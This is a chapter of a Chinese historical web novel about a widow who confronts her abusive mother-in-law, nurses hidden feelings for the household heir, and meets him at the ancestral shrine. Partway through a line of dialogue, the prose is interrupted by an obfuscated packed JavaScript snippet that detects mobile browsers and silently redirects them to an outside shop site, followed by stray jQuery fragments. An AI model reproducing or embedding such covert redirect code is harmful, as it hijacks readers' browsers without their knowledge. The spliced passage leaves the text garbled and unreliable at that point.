55. 第 55 章

作品:《孀妇折腰

    谢令胭听着二太太这样说,愣了那么一瞬,说不心虚是假的。


    可想到过去这几年里,自己那样卑微,那样受着二太太这个婆母的折辱,自己受了那么多的委屈,她便是偷偷对宋怀璋有了不该有的心思,也不过是她绝望之际把宋怀璋当做浮木罢了。


    这样想着,谢令胭佯装镇定的样子,直直看向二太太道:“母亲,我知自我过门起,您就不喜欢我这个儿媳。可您往日里再怎么折辱我,如今也该知道谨言慎行的。您方才那番话,若是传出去,不过是让二房愈发被人看了笑话。”


    说完,谢令胭没有任何退缩的又开口道:“母亲若真是这样容不得我这个儿媳,那这次从皇家寺院回来,我便去求祖母,恳请祖母允我别府而居。这样,没我这个儿媳在您跟前碍眼,您总该消气了吧。”


    什么?别府而居!二太太听着这话,猛地站了起来,因为生气牙齿都在打颤,指尖颤抖的指着谢令胭道:“别府而居!谢氏,你竟敢这样威胁我!”


    要知道这京城也有守寡之人,可能够别府而居的,却是没有这个先例的。原本二太太也不怕的,可想到谢令胭如今在府中这尴尬的地位,若谢氏真的去求老夫人,去求国公夫人,老夫人未必不会点头把她安置在外头的宅子中。


    自己养尊处优这些年,即便是没了儿子,可依旧有谢氏这个儿媳妇在她面前立规矩,任她蹉跎。想到她若别府而居,那便无人在她面前这样侍奉,这传出去,众人只会说她容不得谢氏这个儿媳妇,国公府的长辈怜惜谢氏日日在她这个婆母面前立规矩,才允她出府去住的。


    想到到时候多少人戳她的脊梁骨,有多少的流言蜚语,二太太便气的险些没有晕过去。


    “谢氏,你以为你成了皇上亲封的诰命夫人,便能不侍奉我这个婆母,便能别府而居出去逍遥自在。我告诉你,你趁早歇了这不该有的心思。”


    “只要我在一日,你休想得逞。”


    对于二太太的震怒谢令胭丁点儿都不意外,其实她并没有非要别府而居不可,只是想用这个来吓唬二太太罢了。


    所以,见二太太眼中的羞恼,她似笑非笑提醒二太太道:“母亲,您既不想我出府去住,让您颜面尽失,那日后便莫要那般口无遮拦了。我到底是替三少爷守着寡,在二房做着这节妇,您口无遮拦坏了我的名声,不也让三少爷在地下也跟着没脸。”


    “三少爷没了,这二房不过就您和我两人,再无其他的女眷,既是如此,我们相安无事过日子不好吗?等过继了嗣子过来,便教导着他读书识字,替三少爷续着这香火,日子慢慢也就过去了。”


    丢下这句话,谢令胭没等二太太说什么,直接就转身离开了。


    见她这样的态度,二太太更是气的险些一口气没喘上来,“反了她了,真的反了她了!她怎敢这样的态度对我,她哪来的这样的胆子!”


    二太太气的发抖,一旁的孙嬷嬷忙扶着她往塌上躺着,她暗暗叹息一声,宽慰着二太太道:“夫人,您之前那样怂恿着三少奶奶得了世子爷的子嗣,可现在,这法子肯定行不通的。奴婢知道您心里难受,知道您觉着三少奶奶对您无礼,可这泥人尚且有三分性,您若再这样口无遮掩,说些有的没的,真的逼得三少奶奶去求老夫人还有国公夫人,往外头去住,到时候进退两难的是您呢。”


    “事情既已经这样,这些日子这么多的事情,倒不如如三少奶奶方才所说的,我们便安生过日子吧。等过继了嗣子,您和三少奶奶往日再有嫌隙,可只要您肯相安无事,那日子总能过下去的,不至于真的被人看了笑话。”


    “您想想,若三少奶奶真的别府而居,她那样的姿色,若真的招惹了什么人,丢的不还是您的脸面。即便她不招惹野、男人,她这样在外头逍遥自在,不还是您这当婆母的被人看了笑话。那些人会说您连一个儿媳妇都拿捏不住,否则也不至于让她落得这样轻松。”


    孙嬷嬷这番话也不是故意吓唬二太太,而是她觉着,三少奶奶近来确实是变了性子一般,再没往日战战兢兢低三下四的样子。


    甚至在她看来,二太太如今根本不是三少奶奶的对手,否则,也不至于气成这样。


    孙嬷嬷的话却是让二太太再忍不住哭泣出声,豆大的眼泪就这样落了下来,“若谦哥儿还活着,我怎会受这样的欺负。说到底,还是我膝下没有儿子,没有倚仗,我们二房如今她才是那个皇上亲封的诰命夫人,有这诰命夫人的身份在,她才敢在我面前这样抖威风,这样不尊我这个婆母。”


    “嬷嬷,这几日里我梦到了谦哥儿,我真的觉着他还活着。当年那淳王出了意外,不也是尸骨无存,我的谦哥儿未必没有这样的好运气。”


    自打淳王还活着的消息传遍京城的大街小巷之后,孙嬷嬷便觉着二太太魔怔了一般,数次和自己说三少爷还活着,对于这些魔怔的话,之前孙嬷嬷也只宽慰二太太,是她太过思念三少爷了。


    可此刻,她不得不让二太太面对现实道:“夫人,三少奶奶方才说的不错,若三少爷当真还活着,他能不顾及三少奶奶这个新过门的媳妇,还能不念着您这个生母。”


    “何况,三少爷自幼就养尊处优,若真的还活着,能在外头受苦,而不是回府里来。”


    谢令胭不知自己是什么从二太太院里出来的,想到自己方才那样强装镇定,她不由自嘲的勾了勾唇角。


    她已经下定决心和宋怀璋保持距离,下定决心摒弃一切的杂念了,可二太太那句扪心自问,再一次让她焦躁和心虚起来。


    冬月方才听着姑娘在二太太面前说出别府而居这样的话,也是吓坏了,忍不住道:“姑娘,您莫不是真的动了别府而居的心思?”


    之前淳王妃允诺姑娘可以帮姑娘离开显国公府别府而居,可那时姑娘婉拒了淳王妃,不想给淳王妃添麻烦。可今日,她侍奉姑娘身边这么久,她怎能不知道,姑娘那番话虽有威胁二太太的意思,却也真的是动了这样的心思的。


    “冬月,我真的有些累了。当年被逼着嫁给三少爷时,我担心过我不得三少爷喜欢,不得二太太这个婆母的喜欢,更害怕到时候三少爷纳了妾室,到时候我拿什么和这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304222|195828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些妾室争,和这些妾室斗。可谁能想到,最终会落得我和二太太这婆媳二人互相折磨呢?”


    “我以为忍忍也就过去了,可我真的累了。继续这样在府里留着,当真好吗?”


    冬月看着自家姑娘,道:“姑娘,奴婢知道您若是离开国公府,会轻松自在许多。可这常言道,寡妇门前是非多,能别府而居未必就真的落得自在。”


    “何况老夫人不也说了,国公夫人准备等您从皇家寺院回来后,让您学着管着府里一些事情。国公夫人这样做,便是想让您在这国公府真的有一席之地。您可不能辜负国公夫人的好心。”


    谢令胭听着这话,心下却愈发觉着讽刺。只有她自己知道,她其实并不贪恋国公夫人给她的那些掌家之权,她也不害怕她别府而居后,会惹来的流言蜚语,她不过是想要离宋怀璋近些罢了。


    她不需要更多,也不敢奢求别的,她只是想时不时能看上他一眼。


    想到那日自己主动吻、了他,谢令胭便再不能欺骗自己,自己其实已经不甘心就这样守着寡,她不会再有逾越的举动,不会再越雷池一步,她唯一要的便是能让她的心不要和往日那样死寂。


    她想要感受到自己还活着。


    可这些话,她连冬月都不能说。


    心里这样的躁、动让谢令胭这晚更是辗转反侧,天快要亮时,她才隐隐有了睡意,可今日要往皇家寺院去,她也不好再睡下去,便让冬月侍奉着梳妆打扮起来。


    待一切都收拾妥当后,谢令胭便往祠堂去了。


    之前,二太太怪谢令胭克死了自己儿子,所以即便是逢年过节需要祠堂祭拜,她也没有资格往宋怀谦灵位前点香。


    可如今,她成了皇上亲封的诰命夫人,今日又是要特意去皇家寺院替宋怀谦诵经祈福,老夫人直接发了话,让她离府前往祠堂一趟。


    二太太这次倒没有拦着,可谢令胭并没觉着欢喜,二太太今日没作妖不过是被自己别府而居的话唬住罢了。她依旧是恨着自己,瞧不上自己的。


    这是谢令胭第一次站在宋怀谦的灵位前,她说不上自己是什么感觉,她以为自己会恨,会委屈,可真正站在这里时,她只觉着恍惚。


    想到二太太竟说什么自己儿子还活着,骂她狼心狗肺不盼着宋怀谦活着,谢令胭嘴角勾起一抹嘲讽的笑意,准备从冬月手中拿过香。


    可还未等她点了香,却听一阵脚步声传来,无需回头,谢令胭也知道来人是宋怀璋。


    宋怀璋毕竟是国公府的世子,往日里她即便守寡需要避嫌,可她也不会真的避讳到连请安都没有。


    可此刻,谢令胭却没有转身,也没有回眸,仿若不知他过来一样,继续点着手中的香。


    就在她颤抖着手不知第几次想要点燃香时,一双有力的手却是伸了过来,直接拿过她手中还未点燃的香,就这样直接折断在手中。


    “你做什么!”谢令胭震惊道。


    宋怀璋却是看着她,淡淡道:“他还活着时未曾庇护你,死了还害你受那么多的磋磨,他配不上你这样待他。”